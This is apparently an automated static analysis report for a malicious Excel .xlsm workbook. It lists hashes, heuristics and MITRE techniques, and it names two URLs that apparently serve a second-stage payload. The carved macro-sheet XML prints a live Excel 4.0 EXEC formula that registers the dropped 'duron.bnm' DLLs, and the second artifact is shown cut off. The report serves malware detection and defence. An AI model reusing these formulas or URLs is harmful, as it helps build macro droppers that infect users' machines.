Malicious Office (OOXML) / .XLSM — malware analysis report

Static analysis result for SHA-256 888be973e9153d7c…

MALICIOUS

Office (OOXML) / .XLSM

109.5 KB Created: 2006-09-16 00:00:00 UTC Authoring application: Microsoft Excel 14.0300
MD5: ea1ffd0488d5e6f86555cd31378ed89b SHA-1: 8d617f6899db1d4069e87ef41d0e3928dc8ce734 SHA-256: 888be973e9153d7ce504e182d161330412bae11309f0505f393572fb460e5dc6
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

This Excel document contains hidden Excel 4.0 macro sheets that utilize dangerous formula APIs like EXEC and CALL. The macros are designed to download and execute a second-stage payload from the URLs 'https://shapoorjipallonji.online/drms/ind.html' or 'https://studio.joellemagazine.com/drms/ind.html'. The specific formulas indicate an attempt to execute components named 'duron.bnm1' and 'duron.bnm2'.

Heuristics 6

  • Excel 4.0 macro sheet (2 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: EXEC, HALT, FORMULA, WORKBOOK.HIDE, CALL critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 1 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://shapoorjipallonji.online/drms/ind.html In document text (OOXML body / shared strings)
    • https://studio.joellemagazine.com/drms/ind.htmlIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml
477aeccaaa162efd32bb8acf28c472f6c70359e46f59213b79e20f048af0f34f		 xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet2.xml 3528 bytes
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="AJ4:AQ20"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.7109375" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="35" max="35" width="4.5703125" customWidth="1"/><col min="36" max="43" width="4.7109375" hidden="1" customWidth="1"/></cols><sheetData><row r="4" spans="36:43" x14ac:dyDescent="0.25"><c r="AO4" s="2"/><c r="AP4" s="1" t="s"><v>0</v></c><c r="AQ4" s="1" t="s"><v>1</v></c></row><row r="5" spans="36:43" x14ac:dyDescent="0.25"><c r="AJ5" s="1" t="b"><f>654984654984+1694894654=EXEC(Sheet2!AM34&amp;"..\duron.bnm1"&amp;",DllRegisterServer")=654984654984+1694894654=EXEC(Sheet2!AM34&amp;"..\duron.bnm2"&amp;",DllRegisterServer")</f><v>0</v></c><c r="AO5" s="2"/><c r="AP5" s="1" t="s"><v>2</v></c><c r="AQ5" s="1" t="s"><v>1</v></c></row><row r="6" spans="36:43" x14ac:dyDescent="0.25"><c r="AJ6" s="1"/><c r="AP6" s="1" t="s"><v>3</v></c><c r="AQ6" s="1" t="s"><v>4</v></c></row><row r="7" spans="36:43" x14ac:dyDescent="0.25"><c r="AJ7" s="1"/><c r="AO7" s="2"/><c r="AP7" s="1" t="s"><v>5</v></c><c r="AQ7" s="1" t="s"><v>4</v></c></row><row r="8" spans="36:43" x14ac:dyDescent="0.25"><c r="AJ8" s="1"/><c r="AO8" s="2"/><c r="AP8" s="1" t="s"><v>6</v></c><c r="AQ8" s="1" t="s"><v>7</v></c></row><row r="9" spans="36:43" x14ac:dyDescent="0.25"><c r="AJ9" s="1"/><c r="AO9" s="2"/><c r="AP9" s="1" t="s"><v>8</v></c><c r="AQ9" s="1" t="s"><v>7</v></c></row><row r="10" spans="36:43" x14ac:dyDescent="0.25"><c r="AJ10" s="1"/><c r="AO10" s="1"/><c r="AP10" s="1" t="s"><v>9</v></c><c r="AQ10" s="1"/></row><row r="11" spans="36:43" x14ac:dyDescent="0.25"><c r="AJ11" s="1" t="b"><f>HALT()</f><v>1</v></c><c r="AO11" s="1"/><c r="AP11" s="1" t="s"><v>10</v></c><c r="AQ11" s="1"/></row><row r="12" spans="36:43" x14ac:dyDescent="0.25"><c r="AO12" s="1"/><c r="AP12" s="1" t="s"><v>6</v></c><c r="AQ12" s="1"/></row><row r="13" spans="36:43" x14ac:dyDescent="0.25"><c r="AO13" s="1"/><c r="AP13" s="1" t="s"><v>11</v></c><c r="AQ13" s="1"/></row><row r="14" spans="36:43" x14ac:dyDescent="0.25"><c r="AO14" s="1"/><c r="AP14" s="1" t="s"><v>12</v></c><c r="AQ14" s="1"><v>0</v></c></row><row r="15" spans="36:43" x14ac:dyDescent="0.25"><c r="AO15" s="1"/><c r="AP15" s="1" t="s"><v>13</v></c><c r="AQ15" s="1"/></row><row r="16" spans="36:43" x14ac:dyDescent="0.25"><c r="AO16" s="1"/><c r="AP16" s="1" t="s"><v>6</v></c><c r="AQ16" s="1"/></row><row r="17" spans="41:43" x14ac:dyDescent="0.25"><c r="AO17" s="1"/><c r="AP17" s="1" t="s"><v>14</v></c><c r="AQ17" s="1"/></row><row r="18" spans="41:43" x14ac:dyDescent="0.25"><c r="AO18" s="1"/><c r="AP18" s="1" t="s"><v>15</v></c><c r="AQ18" s="1"/></row><row r="19" spans="41:43" x14ac:dyDescent="0.25"><c r="AO19" s="1"/><c r="AP19" s="1" t="s"><v>10</v></c><c r="AQ19" s="1"/></row><row r="20" spans="41:43" x14ac:dyDescent="0.25"><c r="AO20" s="1"/><c r="AP20" s="1" t="s"><v>16</v></c><c r="AQ20" s="1"/></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_01.xml
9f930289e13f67da399b0aeb5dc75db9b6d9febed2d1afb324c89cca03dce6a5		 xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet1.xml 205645 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 shell/COM execution token(s).
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="A1:BW283"/><sheetViews><sheetView showFormulas="1" zoomScaleNormal="100" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.7109375" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="40" width="4.7109375" style="2"/><col min="41" max="48" width="4.7109375" style="2" hidden="1" customWidth="1"/><col min="49" max="16384" width="4.7109375" style="2"/></cols><sheetData><row r="1" spans="1:41" x14ac:dyDescent="0.25"><c r="A1" s="1"/><c r="B1" s="1"/><c r="C1" s="1"/><c r="D1" s="1"/><c r="E1" s="1"/><c r="F1" s="1"/><c r="G1" s="1"/><c r="H1" s="1"/><c r="I1" s="1"/><c r="J1" s="1"/><c r="K1" s="1"/><c r="L1" s="1"/><c r="M1" s="1"/><c r="N1" s="1"/><c r="O1" s="1"/><c r="P1" s="1"/><c r="Q1" s="1"/><c r="R1" s="1"/><c r="S1" s="1"/><c r="T1" s="1"/><c r="U1" s="1"/><c r="V1" s="1"/><c r="W1" s="1"/><c r="X1" s="1"/><c r="Y1" s="1"/><c r="Z1" s="1"/><c r="AA1" s="1"/><c r="AB1" s="1"/><c r="AC1" s="1"/><c r="AD1" s="1"/><c r="AE1" s="1"/><c r="AF1" s="1"/><c r="AG1" s="1"/><c r="AH1" s="1"/><c r="AI1" s="1"/><c r="AJ1" s="1"/></row><row r="2" spans="1:41" x14ac:dyDescent="0.25"><c r="A2" s="1"/><c r="B2" s="1"/><c r="C2" s="1"/><c r="D2" s="1"/><c r="E2" s="1"/><c r="F2" s="1"/><c r="G2" s="1"/><c r="H2" s="1"/><c r="I2" s="1"/><c r="J2" s="1"/><c r="K2" s="1"/><c r="L2" s="1"/><c r="M2" s="1"/><c r="N2" s="1"/><c r="O2" s="1"/><c r="P2" s="1"/><c r="Q2" s="1"/><c r="R2" s="1"/><c r="S2" s="1"/><c r="T2" s="1"/><c r="U2" s="1"/><c r="V2" s="1"/><c r="W2" s="1"/><c r="X2" s="1"/><c r="Y2" s="1"/><c r="Z2" s="1"/><c r="AA2" s="1"/><c r="AB2" s="1"/><c r="AC2" s="1"/><c r="AD2" s="1"/><c r="AE2" s="1"/><c r="AF2" s="1"/><c r="AG2" s="1"/><c r="AH2" s="1"/><c r="AI2" s="1"/><c r="AJ2" s="1"/></row><row r="3" spans="1:41" x14ac:dyDescent="0.25"><c r="A3" s="1"/><c r="B3" s="1"/><c r="C3" s="1"/><c r="D3" s="1"/><c r="E3" s="1"/><c r="F3" s="1"/><c r="G3" s="1"/><c r="H3" s="1"/><c r="I3" s="1"/><c r="J3" s="1"/><c r="K3" s="1"/><c r="L3" s="1"/><c r="M3" s="1"/><c r="N3" s="1"/><c r="O3" s="1"/><c r="P3" s="1"/><c r="Q3" s="1"/><c r="R3" s="1"/><c r="S3" s="1"/><c r="T3" s="1"/><c r="U3" s="1"/><c r="V3" s="1"/><c r="W3" s="1"/><c r="X3" s="1"/><c r="Y3" s="1"/><c r="Z3" s="1"/><c r="AA3" s="1"/><c r="AB3" s="1"/><c r="AC3" s="1"/><c r="AD3" s="1"/><c r="AE3" s="1"/><c r="AF3" s="1"/><c r="AG3" s="1"/></row><row r="4" spans="1:41" x14ac:dyDescent="0.25"><c r="A4" s="1"/><c r="B4" s="1"/><c r="C4" s="1"/><c r="D4" s="1"/><c r="E4" s="1"/><c r="F4" s="1"/><c r="G4" s="1"/><c r="H4" s="1"/><c r="I4" s="1"/><c r="J4" s="1"/><c r="K4" s="1"/><c r="L4" s="1"/><c r="M4" s="1"/><c r="N4" s="1"/><c r="O4" s="1"/><c r="P4" s="1"/><c r="Q4" s="1"/><c r="R4" s="1"/><c r="S4" s="1"/><c r="T4" s="1"/><c r="U4" s="1"/><c r="V4" s="1"/><c r="W4" s="1"/><c r="X4" s="1"/><c r="Y4" s="1"/><c r="Z4" s="1"/><c r="AA4" s="1"/><c r="AB4" s="1"/><c r="AC4" s="1"/><c r="AD4" s="1"/><c r="AE4" s="1"/><c r="AF4" s="1"/><c r="AG4" s="1"/></row><row r="5" spans="1:41" x14ac:dyDescent="0.25"><c r="A5" s="1"/><c r="B5" s="1"/><c r="C5" s="1"/><c r="D5" s="1"/><c r="E5" s="1"/><c r="F5" s="1"/><c r="G5" s="1"/><c r="H5" s="1"/><c r="I5" s="1"/><c r="J5" s="1"/><c r="K5" s="1"/><c r="L5" s="1"/><c r="M5" s="1"/><c r="N5" s="1"/><c r="O5" s="1"/><c r="P5" s="1"/><c r="Q5" s="1"/><c r="R5" s="1"/><c r="S5" s="1"/><c r="T5" s="1"/><c r="U5" s="1"/><c r="V5" s="1"/><c r="W5" s="1"/><c r="X5" s="1"/><c r="Y5" s="1"/><c r="Z5" s="1"/><c r="AA5" s="1"/><c r="AB5" s="1"/><c r="AC5" s="1"/><c r="AD5" s="1"/><c r="AE5" s="1"/><c r="AF5" s="1"/><c r="AG5" s="1"/></row><row r="6" spans="
... (truncated)

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